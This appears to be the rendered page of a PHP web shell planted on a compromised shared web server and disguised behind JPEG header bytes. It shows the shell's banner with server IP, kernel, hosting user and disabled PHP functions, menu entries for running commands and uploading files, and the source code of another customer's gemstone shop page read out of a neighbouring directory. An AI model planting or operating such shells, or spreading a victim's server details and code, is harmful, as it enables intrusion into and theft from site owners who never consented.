����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 18.116.62.254 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/../gemsandpearl.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // include 'header.php'; include 'db.php'; // Fetch initial data before AJAX call // You can modify this query based on your requirements $query = "SELECT * FROM gemstone_products"; $result = mysqli_query($conn, $query); // Store the initial data in a variable $initialData = []; while ($row = mysqli_fetch_assoc($result)) { $initialData[] = $row; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Product Retry</title> <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script> </head> <body> <!-- Display initial data before AJAX call --> <div id="initialDataContainer"> <?php foreach ($initialData as $item): ?> <!-- Display your data here as needed --> <div><?= $item['your_column']; ?></div> <?php endforeach; ?> </div> <form id="retryForm"> <label for="min_price">Min Price:</label> <input type="text" name="min_price" id="min_price" value="1"> <label for="max_price">Max Price:</label> <input type="text" name="max_price" id="max_price" value="100000"> <br> <label for="min_quantity">Min Quantity:</label> <input type="text" name="min_ratti" id="min_quantity" value="1"> <label for="max_quantity">Max Quantity:</label> <input type="text" name="max_ratti" id="max_quantity" value="100"> <br> </form> <div id="resultContainer"></div> <script> // Function to fetch and display data after the AJAX call function fetchData() { $.ajax({ type: 'POST', url: 'kewal1.php', data: $('#retryForm').serialize(), success: function (data) { // Hide initial data and display AJAX call data $('#initialDataContainer').hide(); $('#resultContainer').html(data); } }); } // Call the function on page load $(document).ready(function () { fetchData(); }); // Bind the AJAX call to the input change event $('#retryForm input').on('input', function () { fetchData(); }); </script> </body> </html>